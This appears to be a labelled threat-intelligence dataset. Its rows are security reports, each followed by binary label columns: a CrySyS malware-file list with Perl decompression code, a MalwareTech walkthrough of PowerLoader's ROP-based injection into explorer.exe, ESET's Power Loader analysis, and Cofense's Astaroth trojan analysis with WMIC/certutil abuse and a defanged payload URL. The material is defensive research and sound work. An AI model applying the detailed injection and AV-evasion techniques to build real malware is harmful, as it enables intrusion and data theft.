SUICIDE.RESIDUAL_FILES.A16 [NoValue]->%COMMONPROGRAMFILES%\\Microsoft Shared\\MSAudio\\dstrlogh.dat SUICIDE.RESIDUAL_FILES.A17 [NoValue]->%SYSTEMROOT%\\Temp\\~8C5FF6C.tmp SUICIDE.RESIDUAL_FILES.A18 [NoValue]->%windir%\\system32\\sstab0.dat SUICIDE.RESIDUAL_FILES.A12 [NoValue]->%windir%\\system32\\sstab1.dat SUICIDE.RESIDUAL_FILES.A20 [NoValue]->%windir%\\system32\\sstab2.dat SUICIDE.RESIDUAL_FILES.A21 [NoValue]->%windir%\\system32\\sstab3.dat SUICIDE.RESIDUAL_FILES.A22 [NoValue]->%windir%\\system32\\sstab4.dat SUICIDE.RESIDUAL_FILES.A23 [NoValue]->%windir%\\system32\\sstab5.dat SUICIDE.RESIDUAL_FILES.A24 [NoValue]->%windir%\\system32\\sstab6.dat SUICIDE.RESIDUAL_FILES.A25 [NoValue]->%windir%\\system32\\sstab7.dat SUICIDE.RESIDUAL_FILES.A26 [NoValue]->%windir%\\system32\\sstab8.dat SUICIDE.RESIDUAL_FILES.A27 [NoValue]->%windir%\\system32\\sstab2.dat SUICIDE.RESIDUAL_FILES.A28 [NoValue]->%windir%\\system32\\sstab10.dat SUICIDE.RESIDUAL_FILES.A22 [NoValue]->%windir%\\system32\\sstab.dat SUICIDE.RESIDUAL_FILES.B1 [NoValue]->%temp%\\~HLV751.tmp SUICIDE.RESIDUAL_FILES.B2 [NoValue]->%temp%\\~KWI288.tmp SUICIDE.RESIDUAL_FILES.B3 [NoValue]->%temp%\\~KWI282.tmp SUICIDE.RESIDUAL_FILES.B4 [NoValue]->%temp%\\~HLV084.tmp SUICIDE.RESIDUAL_FILES.B5 [NoValue]->%temp%\\~HLV224.tmp SUICIDE.RESIDUAL_FILES.B6 [NoValue]->%temp%\\~HLV227.tmp SUICIDE.RESIDUAL_FILES.B7 [NoValue]->%temp%\\~HLV473.tmp SUICIDE.RESIDUAL_FILES.B8 [NoValue]->%windir%\\system32\\nteps32.ocx SUICIDE.RESIDUAL_FILES.B2 [NoValue]->%windir%\\system32\\advnetcfg.ocx SUICIDE.RESIDUAL_FILES.B10 [NoValue]->%windir%\\system32\\ccalc32.sys SUICIDE.RESIDUAL_FILES.B11 [NoValue]->%windir%\\system32\\boot32drv.sys SUICIDE.RESIDUAL_FILES.B12 [NoValue]->%windir%\\system32\\rpcnc.dat SUICIDE.RESIDUAL_FILES.B13 [NoValue]->%windir%\\system32\\soapr32.ocx SUICIDE.RESIDUAL_FILES.B14 [NoValue]->%windir%\\system32\\ntaps.dat SUICIDE.RESIDUAL_FILES.B15 [NoValue]->%windir%\\system32\\advpck.dat SUICIDE.RESIDUAL_FILES.B16 [NoValue]->%temp%\\~rf288.tmp SUICIDE.RESIDUAL_FILES.B17 [NoValue]->%temp%\\~dra53.tmp SUICIDE.RESIDUAL_FILES.B18 [NoValue]->%systemroot%\\system32\\msglu32.ocx SUICIDE.RESIDUAL_FILES.C1 [NoValue]->%COMMONPROGRAMFILES%\\Microsoft Shared\\MSAuthCtrl\\authcfg.dat SUICIDE.RESIDUAL_FILES.C2 [NoValue]->%COMMONPROGRAMFILES%\\Microsoft Shared\\MSSndMix\\mixercfg.dat Figure 54 \xe2\x80\x93 SUICIDE RESIDUAL FILES \xe2\x80\x93 probably also malware related (to691.tmp) Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 63 Possible other related parts from different sources: %windir%\\system32\\comspol32.dll\xe2\x86\x91 ? DisableRSO \xe2\x80\x93 found in res146 in F compression; maybe the same as nteps32 %windir%\\system32\\commgr32.dll\xe2\x86\x91 ? DisableRTA \xe2\x80\x93 The same as for comspol32.dll Figure 55 \xe2\x80\x93Winlogon.exe with injected code working with ccalc32.sys \xe2\x80\x93 procmon Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 64 ANNEX Here we give some hint on implementing functions for which we had problems. The typical example is encryption, where it is very important which parameters and implementation are in use, and what type of header should exist for the successful decompression. Again, we don\xe2\x80\x99t want to show best practice, we want to show at least one successful way to work with the sample. \xe2\x80\xa6 load sample into $bufall use Compress::Zlib; sub FlatDecoding { my ($str) = @_; my @ret = split('', $str); my ($k, $err) = inflateInit( {-Bufsize => 1}); my ($ret,$z,$status) = ('','',0); foreach (@ret) { ($z, $status) = $k->inflate($_); $ret .= $z; last if $status == Z_STREAM_END or $status != Z_OK; } return $ret; } $bufall2=FlatDecoding($bufall); ..save $bufall2 Figure 56 \xe2\x80\x93 F/Inflate/Flate decompression \xe2\x80\x93 PERL sample code copied from the net \xe2\x80\xa6 load sample into $bufall use Compress::PPMd; my $decoder=Compress::PPMd::Decoder->new(); my $bufall2=$decoder->decode(substr($bufall,4)); not be decompressed ..save $bufall2 Figure 57\xe2\x80\x93 PPMd decompression \xe2\x80\x93 PERL sample code copied from the net","0","1","0","1","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"PowerLoader Injection - Something truly amazing - MalwareTech MalwareTech Life of a Malware Analyst Challenges Discord Malware Reversing News Contact Home / Uncategorized / PowerLoader Injection \xe2\x80\x93 Something truly amazing PowerLoader Injection \xe2\x80\x93 Something truly amazing By : MalwareTech August 13, 2013 Category : Uncategorized Tags: exploits, malware, reversing, security, windows internals I\xe2\x80\x99m not dead It has been a while since i wrote an article (I\xe2\x80\x99ve been pretty busy in real life), so I decided to get writing. This article will probably only make sense to people from a malware research / programming background, but to compensate i will be posting a fairly non technical article in the near future.\xc2 I will be talking about the infamous injection method from PowerLoader 2.0, which has been seen in many different malware families such as: Carberp, Redyms and Gapz. Recently, after looking at the difference between 0vercl0ck\xe2\x80\x99s proof of concept and the real deal, a friend asked me \xe2\x80\x9cWhy does PowerLoader go to all the trouble of using ROP chains instead of just executing the shellcode like 0vercl0ck does.\xe2\x80\x9d, I already had a perfect idea of why, but decided to do some digging and answer the question \xe2\x80\x9cHow?\xe2\x80\x9d, this digging resulted in me finding something that truly impressed me, (I try not to admire the work of criminals as i don\xe2\x80\x99t want to seem like a psychopath \xf0\x9f\x98\x89 ). I would have written this article sooner, but i was totally unaware that no blogs had really gone into depth on this method, i like to be unique! The Purpose Most antiviruses don\xe2\x80\x99t treat all processes the same, a known \xe2\x80\x9ctrusted\xe2\x80\x9d process is usually far less likely to flag up any warnings from the antivirus. In this case, the goal of malware is to inject code into one of these \xe2\x80\x9ctrusted\xe2\x80\x9d processes in order to run with less risk of detection. Of course antiviruses will attempt to catch injection too, so the challenge is for malware to find a way into the trusted process without being detected. In order to give a better idea of the stealthiness of PowerLoader I have listed below some common telltale signs of a malicious process attempting to inject.\xc2 (The following only apply to a process trying to perform any of these actions on another process) Allocating heap space Creating threads Overwriting process/module memory Manipulating thread context\xc2 Queuing asynchronous procedure calls (APCs) Proactive antiviruses will check for processes trying to perform these actions and could likely result in the user being alerted to a malicious process. The aim of PowerLoader is to subvert this, (which seems to be a success as it is not picked up by antiviruses, and does not cross off anything on the list).\xc2 Writing the code to explorer In the case of PowerLoader, the trusted process targeted is explorer. I won\xe2\x80\x99t be putting any images/reversed code for this part as it has already been well documented by ESET. PowerLoader gets the malicious code into the process by opening an existing, shared section already mapped into explorer, removing the need to allocate heap space or overwrite process memory. PowerLoader then proceeds to map the shellcode onto the end of the chosen section. Below is a list of targeted shared sections. BaseNamedObjectsShimSharedMemory BaseNamedObjectswindows_shell_global_counters BaseNamedObjectsMSCTF.Shared.SFM.MIH BaseNamedObjectsMSCTF.Shared.SFM.AMF BaseNamedObjectsUrlZonesSM_Administrator BaseNamedObjectsUrlZonesSM_SYSTEM Executing the code In order to execute the remote code without creating a thread, PowerLoader uses a little trick with the explorer tray window procedure. By opening \xe2\x80\x9cShell_TrayWnd\xe2\x80\x9d and calling SetWindowLong, PowerLoader is able to set a variable used by the window procedure to point to a specific address in its shellcode. Here PowerLoader sets the address to a pointer to a pointer to KiUserApcDispatcher, whereas 0vercl0ck\xe2\x80\x99s code will just set it to a pointer to a pointer to the payload (which resides in a shared section). When SendNotifyMessage is called by the malware, the window procedure inside explorer is triggered and this is what happens. Figure 1: A snippet from the Window Procedure Now this code is simple, it will perform a double indirection that will result in the address pointed to by the pointer that was set using SetWindowLong, being executed. This is where PowerLoader differs from 0vercl0ck\xe2\x80\x99s version. The instruction \xe2\x80\x9ccall dword ptr eax\xe2\x80\x9d will read the value pointed to by EAX and then call it. The read part won\xe2\x80\x99t trigger DEP (Data Execution Prevention), if the section is not executable (in later versions of windows it is execute-protected), however if EAX points to an address inside the section, DEP will be triggered. Because the sections protection is only set to Read/Write in later versions of windows, 0vercl0ck\xe2\x80\x99s code will likely trigger DEP and crash explorer, however, because PowerLoader\xe2\x80\x99s pointer points to KiUserApcDispatcher (resides in ntdll), DEP is not triggered.\xc2 Well how does one get from KiUserApcDispatcher to code execution, without executing the non-executable shellcode, I hear you ask? ROP Chains, Unicorns, and Rainbows This part greatly interested me, partly because I have never seen a ROP chain in the wild before but mainly because it is the most advanced injection method I have ever come across. In order to understand how PowerLoader gets from KiUserApcDispatcher, to shellcode execution, we need to do some disassembling.\xc2 In Figure 1, we see the Window Procedure pushing ESI onto the stack, then calling KiUserApcDispatcher. It is important to remember ESI contains the address\xc2 (held in the shellcode) of the pointer to the KiUserApcDispatcher pointer. So let\xe2\x80\x99s see dissasemble KiUserApcDispatcher. Figure 2: KiUserApcDispatcher Pay attention to the first 3 instructions. \xe2\x80\x9clea edi, [esp+10h]\xe2\x80\x9d is loading the last parameter into the EDI register. If you remember in Figure 1, the last parameter pushed to the stack was ESI, which contains an address within the shellcode. Next it pops the return address into the EAX and then calls it, this results in execution being transferred back to the Window Procedure. So really nothing has happened here, We\xe2\x80\x99ve just set the EDI to an address inside the shellcode and then gone back to where we came from. So in order to see what happens next, we are going to have to dig deeper. Here is some more of the Window Procedure.\xc2 Figure 3: More of the Window Procedure shown in Figure 1 Now in this disassembly we need to pay attention to the instructions underlined in red and orange, the blue box is the code we already discussed (executes KiUserApcDispatcher and sets EDI to ESI), the rest of the code can be ignored. As you can see, the function makes 2 more calls (EAX+8, followed by EAX+4), if you remember earlier, EAX is an address in the shellcode, so the next call is to the address 8 Bytes below.\xc2 Let\xe2\x80\x99s take a look at the shellcode shall we? Figure 4: A small snippet from the shellcode When SetWindowLong was called by PowerLoader it set the ESI (Blue Box Figure 3) to 00100E0C (Which holds the address 00100E20), The code then performs and indirection and EAX ends up pointing to KiUserApcDispatchPtr (00100E20). Using some very basic maths, EAX+8 points to 00100E28 and EAX+4 to 00100E24. What are 00100E28 & 00100E24? When the shellcode was made during runtime, PowerLoader searched for some byte sequences in explorer using ReadProcessMemory, then stored the addresses of those sequences in the shellcode. The sequences are instruction within the executable regions of explorer\xe2\x80\x99s memory, their purpose is to perform certain operations as PowerLoader can\xe2\x80\x99t execute any of its own code yet, due to the section being execute-protected. 00100E28 points to some code in explorer that executes the instruction \xe2\x80\x9cSTD\xe2\x80\x9d followed by \xe2\x80\x9cRET\xe2\x80\x9d, As a result the instruction underlined in red will result in the direction flag being set and execution being returned to the Window Procedure. Until now, nothing makes any sense at all. We\xe2\x80\x99ve set the ESI to an address in the shellcode (Figure 1), we\xe2\x80\x99ve set the EDI to an address on the stack (Figure2), and we\xe2\x80\x99ve set the direction flag. What happens next makes sense of it all. EAX+4 is called from the window procedure, as we established EAX+4 is a pointer in our shellcode, but what does it point to? Again, we need to do some disassembling. Figure 4: A random function in shell32.dll Remember i said PowerLoader scanned some byte sequences in explorer? Well these bytes were found, in this case inside some random shell32 function (it doesn\xe2\x80\x99t matter). Now the pointer doesn\xe2\x80\x99t point to the start of the function, it points somewhere in the middle, as a result, only the bytes in the red box are executed. It should become apparent what is happening. The instruction \xe2\x80\x9cREP MOVSD\xe2\x80\x9d will move ECX (0x94) bytes from the address in ESI to the address in EDI. Earlier the code managed to use code within explorer to set the ESI to the shellcode address, the EDI to an address on the stack, then Set the direction flag to 1. Because of this, the shellcode starting at address 00100E0C will \xc2 be copied to the stack backwards (The copying will start at the address in ESI, copy a DWORD, then subtract the address by 4 and repeat.\xc2 (Remember: because all addresses points to executable code within explorer address space, and they are called using a pointer, no code in the shellcode is actually executed, thus resulting in no nasty DEP errors.) This is where things start to heat up, PowerLoader has just used code located within explorer to overwrite some of the stack with some shellcode, which means although still incapable of directly executing its own code, PowerLoader has control over return addresses and stack based parameters. Let\xe2\x80\x99s have a look at the code that was copied. Figure 5: The ROP Shellcode that is written to the stack Once the code copying the ROP Shellcode to the stack is done, it hits the ret instruction, but because the stack has been overwritten, it instead ends up executing code pointed to by the ROP Shellcode, Each bit of code has a ret instruction which causes the next ROP gadget to be executed. I stepped through in a debugger, below i have made a list of the ROP Gadgets in order of execution, each line is a different gadget.\xc2 Direction Flag Clear Pop 0x70 into EAX Call _alloca_probe WriteProcessMemory Pop the address of ntdll!atan into EAX Jmp to EAX Some things to note: The _alloca_probe function is undocumented but I believe it takes the value in EAX and check that the stack can hold that many items, if not it triggers the guard page to allocate more stack space (0x70 is in EAX) The parameters for WriteProcessMemory are at address 00090DA0, these parameters cause WriteProcessMemory to read the shellcode from the shared section, then write it over ntdll!atan which we can assume isn\xe2\x80\x99t used by explorer.\xc2 Finally the last instruction jumps to ntdll!atan and the code begins execution. TLDR / Recap PowerLoader bypasses the execution protection on the shared sections, by using code found inside explorer to copy a ROP Chain to the stack, then uses the ROP Chain to manipulate the call stack into causing Explorer to call WriteProcessMemory and overwrite an unused function in ntdll with some shellcode to complete the injection.\xc2 Conclusion So there we have it, from non-executable section to shellcode execution by using explorer\xe2\x80\x99s own code against itself. I\xe2\x80\x99ll try and get a new article up soon, sorry for the inactivity <3 SIMILAR NEWS Uncategorized 9 Why Open Source Ransomware is Such a Problem A while back 2sec4u posted\xc2 a poll asking if people considered open source ransomware\xc2 helpful to detection and prevention, with 46% voting yes. Although the poll wasn\xe2\x80\x99t limited to people working in the antimalware industry,\xc2 46% is scarily high. Trying to prove a point, help me out Twitter. Is open source ransomware helping \xe2\x80\xa6 Uncategorized 1 Mapping Mirai: A Botnet Case Study Mirai is a piece of malware designed to hijack busybox systems (commonly used on IoT devices) in order to perform DDoS attacks, it\xe2\x80\x99s also the bot used in the\xc2 620 Gbps DDoS attack on\xc2 Brian Kreb\xe2\x80\x99s blog\xc2 and the 1.1 Tbps attack on OVH a few days later.\xc2 Although Mirai isn\xe2\x80\x99t even close to \xe2\x80\xa6 Uncategorized 1 Dridex Returns to the UK With Updated TTPs With the exception of a few unconfirmed reports of Dridex targeting Baltic countries (which doesn\xe2\x80\x99t make much sense economically), infection campaigns have ceased since mid August when\xc2 Dridex briefly resumed spreading to propagate multiple new botnets aimed at Switzerland. This morning a friend of mine,\xc2 Liam,\xc2 reported\xc2 receiving a malicious email which unusually didn\xe2\x80\x99t \xe2\x80\xa6 Stay Connected Donations Categories Malware Analysis4 Opinions3 Personal Stories2 Reverse Engineering1 Threat Intelligence5 Uncategorized83 Vulnerability Research6 Challenges Discord Malware Reversing News Contact","0","0","0","0","1","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Gapz and Redyms droppers based on Power Loader code | WeLiveSecurity In English Em Portugu\xc3\xaas En fran\xc3\xa7ais En Espa\xc3\xb1ol In Deutsch Menu toggle menu All Posts Latest Research How To Videos Podcasts Conference Materials White Papers Magazine Our Experts Em Portugu\xc3\xaas En fran\xc3\xa7ais En Espa\xc3\xb1ol In Deutsch Award-winning news, views, and insight from the ESET security community Gapz and Redyms droppers based on Power Loader code Technical analysis of Power Loader, a special bot builder for making downloaders for other malware families and yet another example of specialization and modularity in malware production. Aleksandr Matrosov 19 Mar 2013 - 05:01AM Share Technical analysis of Power Loader, a special bot builder for making downloaders for other malware families and yet another example of specialization and modularity in malware production. Power Loader is a special bot builder for making downloaders for other malware families and yet another example of specialization and modularity in malware production. The first time Power Loader was detected was in September 2012, using the family detection name Win32/Agent.UAW. This bot builder has been used for developing Win32/Gapz droppers (Win32/Gapz: steps of evolution) since October 2012. Starting from November 2012, the malware known as Win32/Redyms (What do Win32/Redyms and TDL4 have in common?) used Power Loader components in its own dropper. The price for Power Loader in the Russian cybercrime market is around $500 for one builder kit with C&C panel. (The image at the top of this post is the product logo used by the seller.) The first version of the Power Loader builder was compiled at the beginning of September 2012. The time stamp of the compiled file is presented here: Power Loader uses one main C&C URL and two reserve URL\xe2\x80\x99s. All configuration data is stored into the .cfg section of the executable file. Configuration information is stored in plain text format, not encrypted. The bot identifier is based on the unique MachineGuid value, which is stored in the system registry using random alphabetical symbols. This bot identifier is used to create the mutex and identify infection status. Different dropper families have different export tables after unpacking the original dropper executable. The first version of the Power Loader export table looks like this: In the first version we didn\xe2\x80\x99t recognize the code injection method used to bypass HIPS used in Gapz. But the second version of Power Loader has special markers for the code injection method which is described at the beginning and the end of the shellcode. The export table is presented here: In the case of Win32/Redyms the export table looks like this: This method of injecting code into explorer.exe is used for bypassing HIPS detection and is based on a technique for injecting code into a trusted process. More details have already been published one of my previous blog posts (Win32/Gapz: steps of evolution) and French researcher Axel Souchet published the PoC code for this technique. One more interesting fact is that Power Loader uses the open source disassembler \xe2\x80\x9cHacker Disassembler Engine\xe2\x80\x9d (also known as HDE) for code injection. And the same engine is used by Win32/Gapz in one of the bootkit shellcode modules. This doesn\xe2\x80\x99t prove that the developer of Power Loader and Gapz is the same person, but is nevertheless an interesting finding. We continue our research and will be back soon with more interesting information. Aleksandr Matrosov, Security Intelligence Team Lead SHA1 hashes for analyzed samples: Power Loader v1 (builder) \xc2 \xc2 \xc2 - a189ee99eff919b7bead989c6ca252b656b61137 Power Loader v1 (dropper) \xc2 \xc2 \xc2 - 86f4e140d21c97d5acf9c315ef7cc2d8f11c8c94 Power Loader v2 (dropper) \xc2 \xc2 \xc2 - 7f7017621c13065ebe687f46ea149cd8c582176d 1 2 3 4 SHA1 hashes for analyzed samples: Power Loader v1 (builder) \xc2 \xc2 \xc2 - a189ee99eff919b7bead989c6ca252b656b61137 Power Loader v1 (dropper) \xc2 \xc2 \xc2 - 86f4e140d21c97d5acf9c315ef7cc2d8f11c8c94 Power Loader v2 (dropper) \xc2 \xc2 \xc2 - 7f7017621c13065ebe687f46ea149cd8c582176d Aleksandr Matrosov 19 Mar 2013 - 05:01AM Similar Articles Threats A vulnerability in Instagram exposes personal information of users Malware ESET discovered an undocumented backdoor used by the infamous Stealth Falcon group Malware First-of-its-kind spyware sneaks into Google Play Malware In the Balkans, businesses are under fire from a double-barreled weapon Discussion Home About Us Contact Us Sitemap Our Experts ESET Research How To Categories RSS Configurator News Widget Privacy policy Legal Information Copyright \xc2\xa9 ESET, All Rights Reserved Back to top","0","0","0","0","1","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Products Solutions About Cofense Free Tools Resources GET A DEMO Partners Blog Community Contact Cofense We\xe2\x80\x99re Seeing a Resurgence of the Demonic Astaroth WMIC Trojan Cofense \xe2\x80\xa2 Phishing Defense Center | September 10, 2018 Share: By Jerome Doaty and Garrett Primm The Cofense\xe2\x84\xa2 Phishing Defense Center (PDC) has recently defended against a resurgence of Astaroth, with dozens of hits across our customer base in the last week. In just one week, some estimated 8,000 machines have been potentially compromised. The Astaroth trojan, named for its use of satanic variable names (the \xe2\x80\x9cGreat Duke of Hell\xe2\x80\x9d in ancient lore), has been around since late 2017. Astaroth is known for infecting victims through fake invoice emails, the majority of which originate from a malicious sender impersonating legitimate services using cam.br domains. Fig. 1 Impersonating TicketLog This revived campaign has been well planned and supported, exclusively targeting South Americans. All the campaign\xe2\x80\x99s URLs are Cloudflare hosted, only delivering their payloads to South American IP addresses. Fig. 2 Successful payload download Astaroth\xe2\x80\x99s initial payload is a malicious .lnk file, a common delivery method used by threat actors. Malicious .lnk files contain a link to a URL (instead of the expected local URI) to grab the next payload. Leveraging Existing Windows Services to Deliver Malware Windows Management Instrumentation Console (WMIC) provides a command line interface to WMI. WMIC is a good tool for managing windows hosts and is widely favored by desktop administrators. The verb get can be used in a myriad of ways to retrieve information for a machine, however in this case os get /format: is being abused to download payloads from non-local resources with .xsl extensions. Downloading stylesheets allows for emended JavaScript and VBS to be run from within them, at which point any type of malware could be staged and run quite easily. In the case of Astaroth trojan, the .lnk file contains an argument into WMIC.exe to run in non-interactive mode, which forgoes opening a window that the victim could notice, to download the hardcoded url in the .lnk. and exit. Fig. 3 WMIC abuse Astaroth retrieves a .php file from this URL containing a style sheet with embedded JavaScript. Navigating to the web page manually to view:source reveals the code, which at the time of writing happened to not be obfuscated in any significant way. Fig. 4 Embedded JS in .xsl. After defining several variables, some of which contain ActiveX objects for file execution and manipulation later, the script uses a function to \xe2\x80\x9croll\xe2\x80\x9d a random number. Fig. 5 \xe2\x80\x9cradador\xe2\x80\x9d dice roll function The number selected is then used to select a payload URL from a list. Fig. 6 Domain list The code frequently reuses the \xe2\x80\x9cxVRxastaroth\xe2\x80\x9d variable, potentially useful for future fingerprinting. All the 154 domains listed were hosted on CloudFlare. An increasingly popular tactic by threat actors is to use legitimate hosting services like Google Cloud or CloudFlare for their payload and C2 infrastructure, making it much more difficult to safely block IPs. Fig. 7 CloudFlare hosting After the domain has been selected, the payload URL to another stylesheet is loaded using WMIC yet again. The domain that is selected will have the hard-coded value of /Seu7v130a.xsl? appended to it as well as a randomly selected number between 1111111 and 9999999. For example: hxxp://ta4dcmj[.]proxy6x-server[.]website/09//Seu7v130a[.]xsl?3314468[.]xsl This payload contains much more embedded JavaScript and is part of the core functionality of the malware delivery. The same variables that are declared in the initial stylesheet are reused here, including the RNG roller for a payload domain. After selecting a payload URL, the script will create copies of certutil and regsvr32 to the temp directory for later use. Fig. 8 Making a copy of certutil and regsvr32 Certutil.exe (a copy is renamed to certis.exe by the trojan) is normally used in a windows environment to manage certificates, but in this case, it is used by the second stylesheet to download the malware payloads. The script creates a function that will run the copied certutil in the temp folder with parameters -urlcache and the options -f and -split. This will cache a force fetched URL and save the fetched URL to a file. Fig. 9 Caching URLs and downloading payloads This function is used repeatedly to retrieve the rest of the malware payload. A check is also performed to ensure each file has been downloaded to the correct folder before proceeding. Fig. 10 Ensuring the files have been downloaded After the malware is downloaded and files verified, the script will check in the C:\\Program Files\\ directory for the presence Avast antivirus, which happens to be the most common installed AV worldwide. Fig. 11 AV detection If there is no Avast install present, the script proceeds to the final .dll execution using regsvr32 and quits. Fig. 12 The trojan is complete A database of victims After the malware is successful in infecting a host it will generate a plaintext log (r1.log) located in the tempwl directory. This log contains the external IP, the geographic location, the machine name, the time the machine was infected, as well as fields to be logged in the threat actor\xe2\x80\x99s database. Fig. 13 Victim logging This information is then sent to a sqlite database located in the root directory of the first payload URL as seen in the snippet below. There were multiple open directories in ~/9/. Decrementing the number to 0 revealed several other open directories with downloadable sqlite databases, more than likely from previous campaigns. These victims totaled in the thousands, with approximately 8,000 in a single week. Fig. 14 Open directory\xe2\x80\xa6 Here is one of the databases viewed in a sqlite browser. Each field is base64 decoded. Fig. 15 Database dump Decoded, it reveals a detailed log of each affected machine. Note the first entry of a machine hosted on a Canadian VPS. This was the first entry across every database dump gathered and was certainly an anomaly compared to the otherwise South American machines, the primary target of this malware. It\xe2\x80\x99s difficult to say for sure, but this was possibly the threat actor testing his infrastructure. Fig. 16 Potentially infected machines The Malware After the Astaroth trojan verifies that each core file and binary has been run, the malware payload is executed. It is important to note that any payload could be delivered via WMIC stylesheet abuse, and Astaroth should be considered a versatile delivery method. However, the campaign that the PDC has recently observed has been delivering this keylogger exclusively. Amongst the downloaded files, the fake .gif and .jpg files appear to be dependencies for the malware. However, their magic bytes are not of any known file type and there are no .text or other PE sections in the hex, suggesting that they are not executable. There does appear to be function names however, including PeekMessageA, which has been previously observed in other keylogging malware. There are also several log files present, and a folder called vri that is also populated with logs as the malware runs. Fig. 17 Complete List of Malware Files Fig. 17-2 Magic Bytes of \xe2\x80\x9c.jpg\xe2\x80\x9d file Fig. 17-3 Function names To target specific victims, Astaroth is locale aware; any attempts to run the malware without locale spoofing will result in failed downloads and the inability to run the .dll files. Some cursory analysis of one of the .dlls reveals it was coded in Delphi, as well as use the GetLocaleInfoA function, allowing it to pull the locale information of the infected machine. Fig. 18-1 Coded with Delphi Fig. 18-2 Locale Aware This problem was easily defeated by changing registry values in HKEY_CURRENT_USER>Control Panel>International to reflect a Brazilian locale, as well as enabling a Portuguese keyboard. The .dlls are first registered and run using regsrv32 in silent mode. A startup event is also created to gain persistence. Fig. 19-1 regsvr32 running the .dlls Fig. 19-2 A startup event for persistence The malware will run 2 .dlls from regsvr32 simultaneously, spawning userinit, ctfmon, and svchost processes. Fig. 20 New processes The malicious svchost constantly queries ieframe.dll, as well as IWebBrowser2 Interface using CLSID dc30c1661-cdaf-11D0-8A3E-00c04fc9e26e, both key components to interact with Internet Explorer. Fig. 21 ieframe.dll and IWebBrowser2 This is crucial because the malware targets Internet Explorer specifically. To ensure its victim will use IE, it will terminate any process in-focus that is Chrome or Firefox, in hopes the victim will believe the browsers are \xe2\x80\x9cmalfunctioning.\xe2\x80\x9d Whenever a victim uses IE and browses to specific Brazilian banks or businesses, the malware will only then begin to log keystrokes. Fig. 22 Keylogging and exfiltrating data The exfiltrated data is base64 that decodes into more custom encoded strings that appear to be \xe2\x80\x9c/\xe2\x80\x9d delimited. They more than likely must be XOR-ed against a specific string, so decoding is very difficult if not impossible. Fig. 23-1 Exfiltrated data Fig. 23-2 Custom encoded strings Astaroth is a particularly potent threat for South American businesses. This is attack vector presents interesting problems, as blocking or restricting the use of WMIC may not be a feasible solution for some administrators. Like malicious OfficeMacros, this form of social engineering-based attack is best mitigated with user training and awareness. Thousands of global organizations use Cofense PhishMeTM to do just that. Discover what it can do for yours. All third-party trademarks referenced by Cofense whether in logo form, name form or product form, or otherwise, remain the property of their respective holders, and use of these trademarks in no way indicates any relationship between Cofense and the holders of the trademarks. Recent News Articles 16-Sept-2019 Emotet Revived with Large Spam Campaigns Around the World Bleeping Computer 12-Sept-2019 Facebook, YouTube used in Brazilian phishing scheme SC Media 10-Sept-2019 Microsoft Phishing Page Uses Captcha to Bypass Automated Detection Bleeping Computer 25-Feb-2019 5 Reasons to Add Phishing Defense to Your Service Catalog MSSP Alliance Cofense Headquarters 1602 Village Market Blvd, SE #400 Leesburg, VA 20175 Tel: 1-888-304-9422 Sitemap Overview Management Team Board Of Directors Careers Contact Sitemap Copyright \xc2\xa9 2019 Cofense. All rights reserved.Privacy Policy | Legal Under 500 employees? Cofense PhishMe Free, our no-cost phishing defense solution, was created just for you! SIGN UP FOR YOUR FREE 